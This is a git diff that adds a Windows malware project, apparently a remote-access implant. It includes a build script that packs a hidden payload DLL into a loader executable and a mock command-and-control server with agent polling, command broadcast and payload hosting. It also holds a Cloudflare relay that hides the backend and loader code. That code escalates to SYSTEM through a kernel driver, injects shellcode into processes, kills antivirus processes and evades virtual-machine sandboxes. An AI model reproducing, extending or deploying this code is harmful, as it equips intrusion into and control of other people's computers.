zkJK9!YTm%PFg|o{x2MjFI&WzBuyM&5H%^Toe`;{x^+olP(Ic+q2xnDDJ|4W^L0&s+ zQsCGdD^4*IH|}fNBvi;R55fzg0nm8wOtz??84^aC^q~fRqzFgL)EzHq_lnind++^PTYv~6s zvFSZCEOXssoS$knxX;Snv^i)&)0phHwz&)U%zmxa@v?NeHL*L=>?`x@kYPHM36JW; zxr|;T2Tl!&Gwi$h%1q<6zQ@B`I^LS{SorKwSD%>N*vuKui}E-3Jd}EJeCy7t1Kk!~ z*z`W5^Qys1mUmy7&3ip@lJ2xi**hKy(sn#zJUVc)tM=4VqxZw|N9@{?tDD^KG_ON{ zZR4EHuQr6`WVOD!kTNXVVoA+mddEr6N`~(`KCE)O-->6h%&qqmv%d~}te9RqYmL^I zBVAmh8Z3hg{WgDg**$*g$drnAZoY)q=>92Q6`ffQPTsbi0_?16t(zOWd&HIS?_N3@ zHOYDFYKRoUOhxBtdZY1Ug`=h@th zUO$xbt?0F~)oKym{Pt3hbL(Cmy2Zf;%`LfjEWdyEshrdJp6IIPu1>BqK5fYyTS;7= zu%f82+URU*@xqmR;~$51FW-=T`t}o<-b(G-tD%vTwTLsfHl%Kk&b_*B->926Rz(EP ztV%u5Blv2EvPLEC+MJd%bxL`3#K}1E!#gn zJ*d7kGwn!MkER(%W4esD-p$Ng2HE)*l)fj_rLWD-YKnZO+5VS%O$X)`tdDD-qfzPm zmmK{+Uk##Hcn>&mfm#_|kfY&k-U}*L^)X!RkLBw3hln41%7aghA|a2B>IQgZ=$adc z@I=f2DNn=~%J^c<0i%J1(Ws!1FrQF$6|X*b)cTQ(XHb7WkfWjlIVv2;!Oki)TGHR3 z$u;RvK}7BP$cV8W8QpJhni1wvJ2j?5cErrGXDgqju|LJ#vMH{bH{966b-`SwBWroz z4S%>r#}8Y2A~NF+Wq)DqyIU#Q8=l5qyt*nb=lr~5XB)W-itk6eKmR>bmw#k>MZimg zkdH3IKNT8Z8NK(!4XlSOZufiRy-s%rKho3kyD&rcdC6{To!89=^^Tr-WTlf=9JC^* z`@y_pm(NdGP`oiM!%On|YWQGVcI%0OOO`x5K5LLwzG7iwZE1^-08{Q*Wq4$h{JLpv zLesJ`?)aWrK}AVc>jJKKa8VA7D0?`#uSe&)Uhi6t)kvt<7$UD~*v&8&sGD{QwBYY81*&G`HaEvGu$Ug}Yn zzOG-d-|VkGTDCJiM=*Qj{j&2b8QrqBUo>5AIpk%A?sdntrtvqgm?=zC(sHe<-tS1I z{XYKjx=-wJ7WteN14cIEdrl}PyDeo=i*&8H87OsR_K8tgM-Ydb}~?1?%2je#XB1Pk_{E*=&1cK zN0VB3m}V@zTm<5rU%y?_S@Dx6x|1iqXK-a7uvlbW#j4tRl}3tu6o#% z)!KY<(YoB*zbme+EFYM>+V*bGGkV5{6Mc$KZ9new)mMC4+$%zR*{}{n6Xld^!YcDI zNdc=%-X69s3Cj%1Jex2v!#^>wtKGE~rtA#ufsow2s1ypGp8tP6aZ^oydbE813{@z> zP1}8TGGe1`(y{GpkiHh%s9iS=D*o?Ztqj>Fa7y?cXTUbleE8C*vEds)F}2?5UB$ct z@8IXn&lb==8abrm?IQ+0rO+~{m_=E{3d)u*=SSpu2Ap=(8uHfb(!Cy|{8L5ma@o^# zXYKyOJiMgmouP{u;boVbyp&3sCH@$qpdyt9k;h)?(W8V9KB4+)}X=^)no>P6J^A~%*BmKqi+9!7ri61Xs z4#{x5dS%`r_t6%SAER6*|CXQJa`(Ye)>caGn*6P%q7p$=gz(y+kd-!7jDoYDy?2Z{ z^XTNAEYIP-Q!msgL&qBG_uX)7{t34pM9A~#iN&QK7A*NXKs$QL1|RvfLxZ;Z?dtWk z$DAAbCsP;R8aW*M@X&np&DMp0xX?Qy|JXhj7v+oxpp=+cKa?-Qer?>seFC&&E)zrc&4Z}o7Zr{(PByCi`fr!U&G zbK~w~!!0sCH-7mLEVujZq_JP&$?SqnV$rEZl?$pr_MRlZG5z+X@wW~Kca}dLcc5^? zr`Ea5^YeGNU<-TZhE|^+)Xijt-FvrDNw>3CrH}O-c0w31G-5~C=55_`g06Qxpz~ID zTBd%f*Ru{a3mAuaT>Dqb^2Yu5s=j=3-!NHnW3^vhe#WxdW-mHz%%B>=!&~=z^ysiN zC@qk^o6sJT{&#ld8FMAnFNOxZDFm&Hf%$5DX<;ddbHVesE9n_G!I^5JzR0u z2|sOzd7;cqdG4FDE6RhXJ577J{MDiE{eIdG6l{v@{Qb#qVz8ZuUU&ZT=5zBz$FKgK zE(mUkQu)uzPFZYO(|@$ngUa4F_bl$-K$a z-e1{uplI&)8RITp3sr0{Ju@C#x@TlV2QB}Pl8a;Hyk~YH4UJagTX&Sa)L%N_50jl= xFB%2pZmCujd5v(h4_)>3`rwK4O{@m&oB#CWvoYy?R!;f)XMxa_rTVh}e*pCqTcZE~ literal 0 HcmV?d00001 diff --git a/build.ps1 b/build.ps1 new file mode 100644 index 0000000..2e4a7bb --- /dev/null +++ b/build.ps1 @@ -0,0 +1,94 @@ +# Builds the whole package in the right order: +# 1. stage payload DLL +# 2. copy it next to the project so the loader can pack it as a resource +# 3. loader executable +# +# powershell -ExecutionPolicy Bypass -File build.ps1 [-Configuration Release] [-SkipPayload] +# +# Without -SkipPayload the result is a single self-contained ArDrvLoader.exe that +# carries ardrvstage.dll inside it and drops it into the stage dir at runtime. + +param( + [ValidateSet("Debug", "Release")] + [string]$Configuration = "Release", + [switch]$SkipPayload, + [switch]$NoEmbed +) + +$ErrorActionPreference = "Stop" + +$msbuild = "C:\Program Files\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\MSBuild.exe" + +if (-not (Test-Path -LiteralPath $msbuild)) +{ + throw "MSBuild not found: $msbuild" +} + +$root = $PSScriptRoot +$payload = Join-Path $root "ardrvstage.dll" + +if (-not $SkipPayload -and -not $NoEmbed) +{ + Write-Host "== building stage payload ($Configuration) ==" + & $msbuild (Join-Path $root "StageDll.vcxproj") /p:Configuration=$Configuration /p:Platform=x64 /m /v:minimal + + if ($LASTEXITCODE -ne 0) + { + throw "stage payload build failed" + } + + $built = Join-Path $root "x64\$Configuration\ardrvstage.dll" + + if (-not (Test-Path -LiteralPath $built)) + { + throw "payload not produced: $built" + } + + Copy-Item -LiteralPath $built -Destination $payload -Force + Write-Host "== payload staged at $payload ==" +} +else +{ + Write-Host "== payload build skipped ==" +} + +Write-Host "== building loader ($Configuration) ==" + +$extra = @() +if ($NoEmbed) { $extra += "/p:EmbedPayload=false" } + +& $msbuild (Join-Path $root "ArDrvLoader.vcxproj") /p:Configuration=$Configuration /p:Platform=x64 /m /v:minimal @extra + +if ($LASTEXITCODE -ne 0) +{ + throw "loader build failed" +} + +$exe = Join-Path $root "x64\$Configuration\ArDrvLoader.exe" + +if (-not (Test-Path -LiteralPath $exe)) +{ + throw "loader not produced: $exe" +} + +$dll = Join-Path $root "x64\$Configuration\ardrvstage.dll" + +# The payload only exists to be embedded. Drop the per-config copy so the output +# folder is not mistaken for something that has to ship alongside the exe. +if (Test-Path -LiteralPath $dll) +{ + Remove-Item -LiteralPath $dll -Force -ErrorAction SilentlyContinue +} + +# Single-file deliverable. +$dist = Join-Path $root "dist\$Configuration" +New-Item -ItemType Directory -Force -Path $dist | Out-Null +Copy-Item -LiteralPath $exe -Destination (Join-Path $dist "ArDrvLoader.exe") -Force + +$exeSize = (Get-Item -LiteralPath $exe).Length + +Write-Host "" +Write-Host "single file : $dist\ArDrvLoader.exe ($exeSize bytes)" +Write-Host "build output: $exe (plus .pdb/.ipdb artifacts)" + +exit 0 diff --git a/cloudflare/mock-worker.ps1 b/cloudflare/mock-worker.ps1 new file mode 100644 index 0000000..1a716ad --- /dev/null +++ b/cloudflare/mock-worker.ps1 @@ -0,0 +1,466 @@ +# Local stand-in for the Cloudflare Worker. +# +# Mirrors the D1-backed API in memory so the panel can be exercised without +# deploying: same HMAC for agents, same operator key for /api/*, and /panel is +# served straight out of worker.js so there is only one copy of the UI. +# +# powershell -File mock-worker.ps1 -Port 8788 -Secret testsecret -OperatorKey testop -FileDir C:\payloads +# +# Panel: http://127.0.0.1:8788/panel (key: testop) + +param( + [int]$Port = 8788, + [string]$Secret = "testsecret", + [string]$OperatorKey = "testop", + [string]$EnrollSecret = "testop", + [string]$FileDir = "." +) + +$ErrorActionPreference = "Stop" + +$prefix = "http://127.0.0.1:$Port/" +$listener = New-Object System.Net.HttpListener +$listener.Prefixes.Add($prefix) +$listener.Start() + +$state = @{ + agents = @{} + commands = New-Object System.Collections.ArrayList +} + +function Get-Sha256Hex([byte[]]$Bytes) +{ + $sha = [System.Security.Cryptography.SHA256]::Create() + try + { + if ($null -eq $Bytes -or $Bytes.Length -eq 0) { $stream = New-Object System.IO.MemoryStream } + else { $stream = New-Object System.IO.MemoryStream(, $Bytes) } + return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower() + } + finally { $sha.Dispose() } +} + +function Get-HmacHex([string]$Key, [string]$Message) +{ + $hmac = New-Object System.Security.Cryptography.HMACSHA256 + try + { + $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) + $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message)) + return ([BitConverter]::ToString($hash) -replace "-", "").ToLower() + } + finally { $hmac.Dispose() } +} + +function Get-AgentSecret([string]$AgentId) +{ + return Get-HmacHex $Secret ("agent:" + $AgentId) +} + +function Send-Bytes([System.Net.HttpListenerResponse]$Response, [byte[]]$Bytes, [int]$Status = 200, [string]$ContentType = "text/plain; charset=utf-8") +{ + $Response.StatusCode = $Status + $Response.ContentType = $ContentType + $Response.Headers["Cache-Control"] = "no-store" + $Response.ContentLength64 = $Bytes.Length + if ($Bytes.Length -gt 0) { $Response.OutputStream.Write($Bytes, 0, $Bytes.Length) } + $Response.OutputStream.Close() +} + +function Send-Text([System.Net.HttpListenerResponse]$Response, [string]$Text, [int]$Status = 200) +{ + Send-Bytes -Response $Response -Bytes ([System.Text.Encoding]::UTF8.GetBytes($Text)) -Status $Status +} + +function Send-Json([System.Net.HttpListenerResponse]$Response, $Data, [int]$Status = 200) +{ + Send-Bytes -Response $Response -Bytes ([System.Text.Encoding]::UTF8.GetBytes(($Data | ConvertTo-Json -Compress -Depth 8))) -Status $Status -ContentType "application/json; charset=utf-8" +} + +function Get-PanelHtml +{ + $panel = Join-Path $PSScriptRoot "..\server\panel.html" + + if (-not (Test-Path -LiteralPath $panel)) + { + return "

panel.html missing

" + } + + return Get-Content -LiteralPath $panel -Raw -Encoding UTF8 +} + +$panel = Get-PanelHtml +$epoch = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() +$utcNow = { [int][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() } + +Write-Host "mock worker on $prefix (operator key: $OperatorKey)" + +try +{ + while ($listener.IsListening) + { + $ctx = $listener.GetContext() + $req = $ctx.Request + $res = $ctx.Response + + try + { + $path = $req.Url.AbsolutePath + $query = $req.Url.Query + + $memory = New-Object System.IO.MemoryStream + $req.InputStream.CopyTo($memory) + $bodyBytes = $memory.ToArray() + $bodyText = [System.Text.Encoding]::UTF8.GetString($bodyBytes) + + $params = @{} + foreach ($pair in ($query.TrimStart("?") -split "&")) + { + if (-not $pair) { continue } + $kv = $pair -split "=", 2 + $params[[uri]::UnescapeDataString($kv[0])] = if ($kv.Count -gt 1) { [uri]::UnescapeDataString($kv[1]) } else { "" } + } + + # ---------------------------------------------------------- panel + if ($path -eq "/" -or $path -eq "/panel") + { + Send-Bytes $res ([System.Text.Encoding]::UTF8.GetBytes($panel)) 200 "text/html; charset=utf-8" + continue + } + + # ------------------------------------------------------ operator API + if ($path.StartsWith("/api/")) + { + $isEnroll = ($path -eq "/api/enroll") + + $key = [string]$req.Headers["X-Operator-Key"] + if (-not $key) { $key = [string]$params["key"] } + + if (-not $isEnroll -and $key -ne $OperatorKey) + { + Send-Json $res @{ ok = $false; error = "denied" } 403 + continue + } + + $nowTs = & $utcNow + + if ($path -eq "/api/enroll" -and $req.HttpMethod -eq "POST") + { + $provided = [string]$req.Headers["X-Enroll-Secret"] + + if ($provided -ne $EnrollSecret) + { + Send-Json $res @{ ok = $false; error = "enroll denied" } 403 + continue + } + + $payload = $bodyText | ConvertFrom-Json + + if (-not $payload.agent) + { + Send-Json $res @{ ok = $false; error = "valid agent id required" } 400 + continue + } + + if (-not $state.agents.ContainsKey($payload.agent)) + { + $state.agents[$payload.agent] = @{ + first_seen = $nowTs; last_seen = $nowTs; host = ""; user = ""; + sid = ""; version = ""; interval = 15000; system = $false; revoked = $false + } + } + + $state.agents[$payload.agent].revoked = $false + + Send-Json $res @{ ok = $true; agent = $payload.agent; secret = (Get-AgentSecret $payload.agent) } + continue + } + + if ($path -eq "/api/revoke" -and $req.HttpMethod -eq "POST") + { + $payload = $bodyText | ConvertFrom-Json + + if (-not $payload.agent) + { + Send-Json $res @{ ok = $false; error = "agent required" } 400 + continue + } + + if (-not $state.agents.ContainsKey($payload.agent)) + { + $state.agents[$payload.agent] = @{ + first_seen = $nowTs; last_seen = $nowTs; host = ""; user = ""; + sid = ""; version = ""; interval = 15000; system = $false; revoked = $false + } + } + + $state.agents[$payload.agent].revoked = ($payload.revoked -ne $false) + + Send-Json $res @{ ok = $true; agent = $payload.agent; revoked = [bool]$state.agents[$payload.agent].revoked } + continue + } + + if ($path -eq "/api/agents") + { + $list = @() + foreach ($id in $state.agents.Keys) + { + $a = $state.agents[$id] + $queued = @($state.commands | Where-Object { $_.agent -eq $id -and $_.state -eq "queued" }).Count + $interval = if ($a.interval) { $a.interval } else { 15000 } + $list += @{ + id = $id + host = $a.host + user = $a.user + sid = $a.sid + version = $a.version + interval = $interval + system = [bool]$a.system + revoked = [bool]$a.revoked + queued = $queued + first_seen = $a.first_seen + last_seen = $a.last_seen + age = $nowTs - $a.last_seen + online = (($nowTs - $a.last_seen) -lt [Math]::Max([int]($interval / 1000) * 3, 45)) + } + } + + Send-Json $res @{ ok = $true; now = $nowTs; agents = @($list | Sort-Object { $_.last_seen } -Descending) } + continue + } + + if ($path -eq "/api/stats") + { + $online = @($state.agents.Values | Where-Object { ($nowTs - $_.last_seen) -lt 300 }).Count + $byState = @{} + foreach ($c in $state.commands) { $byState[$c.state] = 1 + [int]$byState[$c.state] } + $stats = @($byState.Keys | ForEach-Object { @{ state = $_; n = $byState[$_] } }) + Send-Json $res @{ ok = $true; agents = $state.agents.Count; online = $online; commands = $stats } + continue + } + + if ($path -eq "/api/commands") + { + $agent = [string]$params["agent"] + $limit = if ($params["limit"]) { [int]$params["limit"] } else { 50 } + + $items = $state.commands + if ($agent) { $items = @($items | Where-Object { $_.agent -eq $agent }) } + + $out = @($items | Sort-Object created -Descending | Select-Object -First $limit | ForEach-Object { + @{ + id = $_.id; agent = $_.agent; text = $_.text; state = $_.state; + created = $_.created; sent = $_.sent; finished = $_.finished; + operator = $_.operator; result = $_.result + } + }) + + Send-Json $res @{ ok = $true; commands = $out } + continue + } + + if ($path -eq "/api/enqueue" -and $req.HttpMethod -eq "POST") + { + $payload = $bodyText | ConvertFrom-Json + + if (-not $payload.agent -or -not $payload.text) + { + Send-Json $res @{ ok = $false; error = "agent and text required" } 400 + continue + } + + $id = [guid]::NewGuid().ToString() + $null = $state.commands.Add([pscustomobject]@{ + id = $id; agent = $payload.agent; text = $payload.text; state = "queued"; + created = $nowTs; sent = 0; finished = 0; operator = "panel"; result = "" + }) + + Send-Json $res @{ ok = $true; id = $id } + continue + } + + if ($path -eq "/api/broadcast" -and $req.HttpMethod -eq "POST") + { + $payload = $bodyText | ConvertFrom-Json + $sentIds = @() + + foreach ($id in $state.agents.Keys) + { + $null = $state.commands.Add([pscustomobject]@{ + id = [guid]::NewGuid().ToString(); agent = $id; text = $payload.text; + state = "queued"; created = $nowTs; sent = 0; finished = 0; + operator = "broadcast"; result = "" + }) + $sentIds += $id + } + + Send-Json $res @{ ok = $true; sent = $sentIds.Count; agents = $sentIds } + continue + } + + Send-Json $res @{ ok = $false; error = "unknown endpoint" } 404 + continue + } + + # --------------------------------------------------------- files + if ($path -like "/file/*") + { + $name = [uri]::UnescapeDataString($path.Substring(6)) + $file = Join-Path $FileDir $name + + if (Test-Path -LiteralPath $file -PathType Leaf) + { + Send-Bytes $res ([System.IO.File]::ReadAllBytes($file)) 200 "application/octet-stream" + } + else + { + Send-Text $res "not found" 404 + } + continue + } + + # ------------------------------------------------------ agent auth + $agentHeader = [string]$req.Headers["X-Agent-Id"] + $ts = [string]$req.Headers["X-Agent-Ts"] + $sign = ([string]$req.Headers["X-Agent-Sign"]).ToLower() + + if (-not $agentHeader -or -not $ts -or -not $sign) + { + Send-Text $res "denied" 403 + continue + } + + $nowTs = & $utcNow + $tsNum = 0 + + if (-not [int]::TryParse($ts, [ref]$tsNum) -or [Math]::Abs($nowTs - $tsNum) -gt 300) + { + Send-Text $res "denied" 403 + continue + } + + $canonicalPath = $path.TrimStart("/") + $query + $canonical = "$agentHeader`n$ts`n$($req.HttpMethod)`n$canonicalPath`n$(Get-Sha256Hex $bodyBytes)" + + $derived = Get-AgentSecret $agentHeader + $masterOk = (Get-HmacHex $Secret $canonical) -eq $sign + $derivedOk = (Get-HmacHex $derived $canonical) -eq $sign + + if (-not ($masterOk -or $derivedOk)) + { + Send-Text $res "denied" 403 + continue + } + + $agent = $agentHeader + + if ($state.agents[$agent] -and $state.agents[$agent].revoked) + { + Send-Text $res "revoked" 403 + continue + } + + # ---------------------------------------------------- agent endpoints + if ($path -eq "/poll") + { + $existing = $state.agents[$agent] + $first = if ($existing) { $existing.first_seen } else { $nowTs } + + $state.agents[$agent] = @{ + first_seen = $first + last_seen = $nowTs + host = [string]$req.Headers["X-Agent-Host"] + user = [string]$req.Headers["X-Agent-User"] + sid = [string]$req.Headers["X-Agent-Sid"] + version = [string]$req.Headers["X-Agent-Version"] + interval = if ($req.Headers["X-Agent-Interval"]) { [int]$req.Headers["X-Agent-Interval"] } else { 15000 } + system = ([string]$req.Headers["X-Agent-System"]) -eq "1" + } + + $cmd = $state.commands | Where-Object { $_.agent -eq $agent -and $_.state -eq "queued" } | Sort-Object created | Select-Object -First 1 + + if (-not $cmd) + { + Send-Text $res "" 204 + continue + } + + $cmd.state = "sent" + $cmd.sent = $nowTs + + $b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmd.text)) + Send-Text $res ("{0}`n{1}" -f $cmd.id, $b64) + continue + } + + if ($path -eq "/ack" -and $req.HttpMethod -eq "POST") + { + $id = [string]$params["id"] + + foreach ($c in $state.commands) + { + if ($c.id -eq $id -and $c.agent -eq $agent) + { + $decoded = $bodyText + + try { $decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($bodyText)) } catch { } + + $c.state = "done" + $c.finished = $nowTs + $c.result = $decoded + } + } + + if ($state.agents[$agent]) { $state.agents[$agent].last_seen = $nowTs } + + Send-Text $res "ok" + continue + } + + if ($path -eq "/enqueue" -and $req.HttpMethod -eq "POST") + { + $text = $bodyText + + if (-not $text.Trim()) + { + Send-Text $res "empty" 400 + continue + } + + $id = [guid]::NewGuid().ToString() + + $null = $state.commands.Add([pscustomobject]@{ + id = $id; agent = $agent; text = $text; state = "queued"; + created = $nowTs; sent = 0; finished = 0; operator = "agent"; result = "" + }) + + Send-Json $res @{ ok = $true; id = $id } + continue + } + + if ($path -eq "/status") + { $last = "" + $done = @($state.commands | Where-Object { $_.agent -eq $agent -and $_.state -eq "done" } | Sort-Object finished -Descending | Select-Object -First 1) + + if ($done.Count -gt 0) + { + $last = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([string]$done[0].result)) + } + + Send-Json $res @{ ok = $true; agent = $agent; last = $last } + continue + } + + Send-Text $res "ok" + } + catch + { + try { Send-Json $res @{ ok = $false; error = $_.Exception.Message } 500 } catch { } + } + } +} +finally +{ + $listener.Stop() + $listener.Close() +} diff --git a/cloudflare/worker.js b/cloudflare/worker.js new file mode 100644 index 0000000..dc0311c --- /dev/null +++ b/cloudflare/worker.js @@ -0,0 +1,62 @@ +// Thin relay: this Worker owns no state. +// +// It forwards every request to the relay server and streams the answer back, so +// the panel, the database and the agent API all live on your own host. Nothing +// is stored in Cloudflare except what the platform keeps in transit. +// +// Bindings: +// var SERVER_URL https://your-server.example +// secret PROXY_SECRET optional shared header the server can require + +export default { + async fetch(request, env) + { + const base = (env.SERVER_URL || "").replace(/\/$/, ""); + + if (!base) + return new Response("SERVER_URL is not configured", { status: 500 }); + + const url = new URL(request.url); + const target = base + url.pathname + url.search; + + const headers = new Headers(request.headers); + + // Do not leak Cloudflare internals to the origin. + headers.delete("cf-connecting-ip"); + headers.delete("cf-ray"); + headers.delete("cf-visitor"); + headers.delete("x-forwarded-proto"); + + if (env.PROXY_SECRET) + headers.set("X-Proxy-Secret", env.PROXY_SECRET); + + const init = { + method: request.method, + headers, + redirect: "manual" + }; + + if (request.method !== "GET" && request.method !== "HEAD") + init.body = request.body; + + let upstream; + + try + { + upstream = await fetch(target, init); + } + catch (err) + { + return new Response("relay unreachable: " + (err && err.message ? err.message : err), { status: 502 }); + } + + const response = new Response(upstream.body, { + status: upstream.status, + statusText: upstream.statusText, + headers: upstream.headers + }); + + response.headers.set("Cache-Control", "no-store"); + return response; + } +}; diff --git a/cloudflare/wrangler.toml b/cloudflare/wrangler.toml new file mode 100644 index 0000000..878dfb9 --- /dev/null +++ b/cloudflare/wrangler.toml @@ -0,0 +1,19 @@ +name = "ardrv-relay" +main = "worker.js" +compatibility_date = "2024-11-01" + +# The Worker is only a proxy. All state, auth and the panel live on the relay +# server; configure its address in the dashboard or here. +# +# vars SERVER_URL https://relay.example.com +# secret PROXY_SECRET optional shared header checked by the server +# +# For local development put both in .dev.vars: +# SERVER_URL=http://127.0.0.1:8790 +# PROXY_SECRET=proxys3cret + +[vars] +SERVER_URL = "http://127.0.0.1:8790" + +[observability] +enabled = false diff --git a/driver_res.rc b/driver_res.rc new file mode 100644 index 0000000..894d3ef --- /dev/null +++ b/driver_res.rc @@ -0,0 +1,8 @@ +#include +#include "resource.h" + +// The driver image is optional. If ardrv.sys is not next to the project at +// build time, HAVE_DRIVER_IMAGE is not defined and no resource is emitted. +#ifdef HAVE_DRIVER_IMAGE +IDR_ARDRV_SYS RCDATA "ardrv.sys" +#endif diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..5577795 --- /dev/null +++ b/main.cpp @@ -0,0 +1,823 @@ +#include "Common.h" +#include "Logger.h" +#include "CloudAgent.h" +#include "GuardService.h" +#include "VmDetect.h" +#include "KillSafety.h" +#include "HostSpawn.h" +#include "HostStager.h" +#include "StageClient.h" +#include "Exclusions.h" + +#include + +#pragma comment(lib, "shell32.lib") + +#include "DriverClient.h" +#include "TokenUtils.h" +#include "ProcessUtils.h" +#include "ShellcodeUtils.h" +#include "AvKill.h" +#include "ServiceManager.h" + +static int RunLoader(int argc, LPWSTR* argv) +{ + HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Local\\ArDrvLoaderMutex"); + bool ownsMutex = false; + + if (mutex) + { + DWORD waitRes = WaitForSingleObject(mutex, 15000); + ownsMutex = (waitRes == WAIT_OBJECT_0 || waitRes == WAIT_ABANDONED); + + if (!ownsMutex) + { + Log(L"[-] Another loader instance is already running"); + CloseHandle(mutex); + return 12; + } + } + + Log(L"=== Loader start ==="); + + HANDLE driverToken = nullptr; + HANDLE systemToken = nullptr; + int ret = 0; + + if (argc >= 4 && _wcsicmp(argv[1], L"-install-service") == 0) + { + bool ok = EnsureWin32Service(argv[2], argv[3], true); + ret = ok ? 0 : 4; + goto cleanup; + } + + if (!EnsureDriverLoaded()) + { + ret = 2; + goto cleanup; + } + + if (!EscalateViaDriver(&driverToken)) + { + Log(L"[!] EscalateViaDriver failed or did not provide a SYSTEM token handle"); + } + + systemToken = GetSystemToken(driverToken); + + if (!systemToken) + { + ret = 3; + goto cleanup; + } + + if (argc >= 5 && _wcsicmp(argv[1], L"-i") == 0 && _wcsicmp(argv[3], L"-s") == 0) + { + DWORD pid = (DWORD)wcstoul(argv[2], nullptr, 10); + + std::vector shell; + + if (!ReadFileToMemory(argv[4], shell)) + { + ret = 5; + } + else + { + bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size()); + ret = ok ? 0 : 6; + } + } + else if (argc >= 5 && _wcsicmp(argv[1], L"-n") == 0 && _wcsicmp(argv[3], L"-s") == 0) + { + const wchar_t* target = argv[2]; + + std::vector shell; + + if (!ReadFileToMemory(argv[4], shell)) + { + ret = 5; + } + else + { + NewProcInfo info{}; + + if (!CreateProcessSuspendedAsSystem(systemToken, target, nullptr, false, &info)) + { + ret = 7; + } + else + { + bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size()); + ret = ok ? 0 : 8; + } + } + } + else if (argc >= 3 && _wcsicmp(argv[1], L"-p") == 0) + { + const wchar_t* payload = argv[2]; + const wchar_t* args = (argc >= 4 ? argv[3] : nullptr); + + bool ok = StartProcessAsSystem(systemToken, payload, args, false); + ret = ok ? 0 : 9; + } + else if (argc >= 3 && _wcsicmp(argv[1], L"-watchdog") == 0) + { + const wchar_t* target = argv[2]; + DWORD intervalMs = 5000; + DWORD iterations = 0; + + if (argc >= 4) + intervalMs = (DWORD)wcstoul(argv[3], nullptr, 10); + + if (argc >= 5) + iterations = (DWORD)wcstoul(argv[4], nullptr, 10); + + DWORD done = 0; + + while (true) + { + if (!ProcessExistsByName(target)) + { + Log(L"[+] Watchdog: target not running, starting"); + + if (!StartProcessAsSystem(systemToken, target, nullptr, false)) + Log(L"[-] Watchdog: failed to start target"); + } + + if (iterations != 0 && ++done >= iterations) + break; + + Sleep(intervalMs); + } + + ret = 0; + } + else + { + KillAVProcesses(); + + const wchar_t* testExe = L"C:\\Windows\\System32\\cmd.exe"; + const wchar_t* testArgs = + L"/c (whoami & echo Loader OK) > C:\\Users\\Public\\loader_test.txt 2>&1"; + + bool ok = StartProcessAsSystem(systemToken, testExe, testArgs, false); + ret = ok ? 0 : 11; + } + +cleanup: + + if (systemToken) + CloseHandle(systemToken); + + if (driverToken) + CloseHandle(driverToken); + + if (ownsMutex && mutex) + ReleaseMutex(mutex); + + if (mutex) + CloseHandle(mutex); + + CloseDriver(); + + Log(L"=== Loader end ret=%d ===", ret); + + return ret; +} + +// Virtual machine gate. Every mode except an explicit override refuses to run +// inside a hypervisor guest. Exit code 0 and no log output, so a sandbox sees a +// process that starts and quietly terminates. +static int VmGate(int argc, wchar_t** argv) +{ + if (VmOverrideRequested(argc, argv)) + return -1; + + std::wstring reason; + + if (!IsVirtualMachine(&reason)) + return -1; + + wchar_t debug[8]{}; + DWORD n = GetEnvironmentVariableW(L"ARDRV_VM_DEBUG", debug, _countof(debug)); + + if (n > 0 && (debug[0] == L'1' || debug[0] == L'y' || debug[0] == L'Y')) + wprintf(L"[vm] refusing to run: %s\n", reason.c_str()); + + return 0; +} + +static bool IsProcessElevated() +{ + HANDLE token = nullptr; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) + return false; + + TOKEN_ELEVATION elevation{}; + DWORD len = sizeof(elevation); + + bool elevated = + GetTokenInformation(token, TokenElevation, &elevation, len, &len) != FALSE && + elevation.TokenIsElevated != 0; + + CloseHandle(token); + return elevated; +} + +static bool HasCommandArg(int argc, wchar_t** argv, const wchar_t* name) +{ + for (int i = 1; i < argc; ++i) + { + if (argv[i] && _wcsicmp(argv[i], name) == 0) + return true; + } + + return false; +} + +// Relaunches the same command line under UAC. Returns true when the elevated +// copy was started; the caller should then exit. +static bool RelaunchElevated(int argc, wchar_t** argv) +{ + wchar_t exe[MAX_PATH]{}; + + DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe)); + + if (len == 0 || len >= _countof(exe)) + return false; + + std::wstring params; + + // Double-click: the elevated copy must still know it is the bootstrap. The + // appended --elevated flag would otherwise look like a normal command line. + if (argc < 2) + params = L"-bootstrap"; + + for (int i = 1; i < argc; ++i) + { + std::wstring a = argv[i]; + + if (!params.empty()) + params += L" "; + + if (a.find(L' ') != std::wstring::npos && (a.empty() || a.front() != L'"')) + params += L"\"" + a + L"\""; + else + params += a; + } + + params += L" --elevated"; + + HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_SHOWNORMAL); + + if ((INT_PTR)h <= 32) + { + wprintf(L"[!] elevation declined or failed (%d)\n", (int)(INT_PTR)h); + return false; + } + + return true; +} + +// Commands that need administrator rights. Anything else runs as-is; after the +// first elevated install the services do all privileged work. +static bool NeedsElevation(int argc, wchar_t** argv) +{ + // Double-click with no arguments runs the bootstrap, which needs admin. + if (argc < 2) + return true; + + const bool dryRun = HasCommandArg(argc, argv, L"--dry-run"); + + if (_wcsicmp(argv[1], L"-install-guard-services") == 0 || + _wcsicmp(argv[1], L"--install-guard-services") == 0 || + _wcsicmp(argv[1], L"-bootstrap") == 0 || + _wcsicmp(argv[1], L"--bootstrap") == 0) + { + return !dryRun; + } + + if (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0) + return !dryRun; + + if (_wcsicmp(argv[1], L"-drv") == 0 && argc >= 3) + { + return _wcsicmp(argv[2], L"extract") == 0 || + _wcsicmp(argv[2], L"reset") == 0 || + _wcsicmp(argv[2], L"kill") == 0; + } + + if (_wcsicmp(argv[1], L"-excl") == 0 && argc >= 3) + { + return _wcsicmp(argv[2], L"add") == 0 || _wcsicmp(argv[2], L"apply") == 0; + } + + return false; +} + +int wmain(int argc, LPWSTR* argv) +{ + // Elevation first: a double-click must always show the UAC prompt, even on a + // host the VM gate would later refuse. + if (NeedsElevation(argc, argv) && + !IsProcessElevated() && + 